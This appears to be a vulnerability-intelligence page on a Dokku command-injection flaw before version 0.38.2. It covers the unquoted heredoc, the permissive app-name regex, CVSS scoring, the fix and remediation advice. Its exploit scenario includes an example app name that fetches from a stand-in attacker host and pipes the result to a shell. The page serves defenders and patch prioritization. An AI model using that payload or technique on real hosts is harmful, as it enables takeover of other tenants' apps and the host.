Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with Dokku push access
-
DeliveryCreate app name embedding shell metacharacters
-
ExploitPush to git remote
-
ExecutionDokku writes name into unquoted pre-receive heredoc
-
PersistBash parses semicolon as command separator
-
ImpactExecute arbitrary commands as dokku user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated account with permission to push to a Dokku git remote and influence the app name used for hook generation (per CVSS PR:L). The concrete prerequisite is an app name containing a bash metacharacter (such as ;, $, `, |, or &) that passes the pre-0.38.2 validation regex ^[a-z0-9][^/:_A-Z]*$ - which only blocks uppercase, slashes, colons, and underscores - and is then interpolated into the unquoted heredoc in fn-git-create-hook(). The triggering action is a git push, which generates and runs the pre-receive hook. Limiting factors: the attacker must already hold valid push/app-creation rights (not unauthenticated), the target instance must be running a version prior to 0.38.2, and the attacker must be able to set the malicious app name; on single-operator deployments the pushing user already controls the host, so the practical security boundary crossed is minimal. |
| Impact | The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H, base 9.0) reflects a serious issue: network-reachable, low complexity, full confidentiality/integrity/availability impact, and a scope change because code runs as the dokku user rather than within the pushing user's app boundary. The key gating factor is PR:L - the attacker must already be an authenticated user with permission to push to a git remote and (typically) to create an app name, so this is a privilege-escalation/sandbox-escape primitive rather than a fully unauthenticated takeover. No EPSS score, KEV listing, or POC was supplied; per the precision rules this is 'no public exploit identified at time of analysis,' and it is NOT in CISA KEV, so it should not be treated as actively exploited. The UI:R in the source vector is debatable: the attacker triggers the malicious push themselves rather than relying on a separate victim, so realistic exploitation does not depend on tricking another user - this lowers practical friction relative to what UI:R implies. Net assessment: a genuine high-priority issue for any multi-tenant or shared Dokku instance, but lower urgency for single-operator deployments where the pushing user already effectively controls the host. |
| Exploit ScenarioDerived | An authenticated tenant on a shared Dokku host creates or pushes to an app whose name contains a shell metacharacter, e.g. a name like 'app;curl attacker/x|sh'. When they run git push, Dokku generates the pre-receive hook with the name embedded in an unquoted heredoc, bash treats the semicolon as a command separator, and the attacker's commands execute as the dokku user - yielding control over other tenants' apps and the Docker daemon. No separate victim interaction is required since the attacker drives the push themselves; no public POC is identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 26, 2026
OS command injection in Dokku (the Docker-powered self-hosted PaaS) prior to version 0.38.2 allows an authenticated user with git push access to execute arbitrary shell commands as the privileged dokku user. The flaw stems from a permissive app-name validation regex that accepts shell metacharacters, which are then interpolated unquoted into a generated bash pre-receive hook; a semicolon in the app name terminates the intended command and runs attacker-supplied commands on git push. There is no public exploit identified at time of analysis, but the fix is confirmed in 0.38.2 and the underlying mechanics are fully documented in the GitHub advisory and PR #8590.
RemediationAI
Vendor-released patch: 0.38.2 - upgrade Dokku to 0.38.2 or later, which replaces the negated-character-class regex with strict allow-list app-name validation and routes shell-layer checks through the hardened Go validator. Apply the upgrade per the advisory at https://github.com/dokku/dokku/security/advisories/GHSA-9x85-7gxq-fcr3 (fix in https://github.com/dokku/dokku/pull/8590). If immediate upgrade is not possible, restrict who can create apps and push to git remotes to fully trusted operators only, and audit existing app names for shell metacharacters (semicolons, backticks, $, |, &, spaces) before they are used to generate hooks; on multi-tenant instances, treat any push-capable account as having potential command execution and remove untrusted access. As a stopgap you can enforce app names manually against the safe pattern ^[a-z0-9][a-z0-9.-]*$ in your provisioning automation, accepting the trade-off that legitimate names using underscores will be rejected. These controls reduce exposure but do not close the underlying injection - upgrading is the only complete fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dokku generates per-app git server-side hooks to drive its push-to-deploy workflow. The vulnerable code path is fn-git-create-hook() in plugins/git/internal-functions:378, which builds a bash pre-receive script by embedding the app name into an unquoted heredoc (<<EOF rather than <<'EOF'). Because the heredoc is unquoted, bash performs expansion/parsing on the interpolated app name at hook-generation/execution time. The root cause (CWE-78, OS Command Injection) is upstream input validation: IsValidAppName used the regex ^[a-z0-9][^/:_A-Z]*$, a negated character class that only excluded slashes, colons, underscores, and uppercase letters while still permitting dangerous characters such as ;, $, `, |, &, >, and spaces. The fix in PR #8590 replaces this with an allow-list regex (^[a-z0-9][a-z0-9.-]*$ for the new validator, ^[a-z0-9][a-z0-9._-]*$ for the legacy variant) and centralizes validation in a Go helper (common is-valid-app-name) invoked from the shell layer, with new tests explicitly rejecting shell metacharacters. Affected CPE: cpe:2.3:a:dokku:dokku:*:*:*:*:*:*:*:*.
Know when Dokku gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Authenticated push user is required (PR:L), attacker self-triggers so UI:N, scope changes (S:C) as code runs as the privileged dokku user with full RCE impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Dokku is a docker-powered PaaS. Prior to 0.38.2, the app name validation regex (^[a-z0-9][^/:_A-Z]*$) permits shell metacharacters. When an authenticated user pushes to a git remote with a crafted app name, the name is embedded unquoted into a bash pre-receive hook script via an unquoted heredoc (<<EOF instead of <<'EOF') in fn-git-create-hook() at plugins/git/internal-functions:378. On git push, bash interprets the semicolon as a command separator, executing arbitrary commands as the dokku user. This vulnerability is fixed in 0.38.2.
Articles & Coverage 1
Executive ViewAI
Dokku self-hosted PaaS deployments prior to version 0.38.2 are vulnerable to OS command injection through malicious git commits, allowing authenticated users to execute arbitrary commands with privileged dokku user permissions. Organizations operating Dokku face risk of container workload compromise and underlying infrastructure takeover if developers or CI/CD systems have git push access. Immediate patching is required to prevent unauthorized command execution.
Apply vendor patch: upgrade to Dokku 0.38.2 or later. Interim mitigations: restrict git push access to minimal trusted group; monitor git pre-receive hook execution logs for stderr output; implement mandatory git commit signatures; add application name validation rules in CI/CD pipelines.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Container-to-host command execution in Dokku's cron plugin (versions prior to 0.38.7) lets an actor who can control an a
Arbitrary file write in Dokku before 0.38.2 lets an attacker with deploy-level access escalate to full shell access on t
OS command execution on the Dokku host is possible through the openresty-vhosts plugin in versions prior to 0.38.2, wher
Insufficiently protected credential storage in Dokku prior to 0.38.2 exposes git authentication secrets stored in $DOKKU
EUVD-2026-39801
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB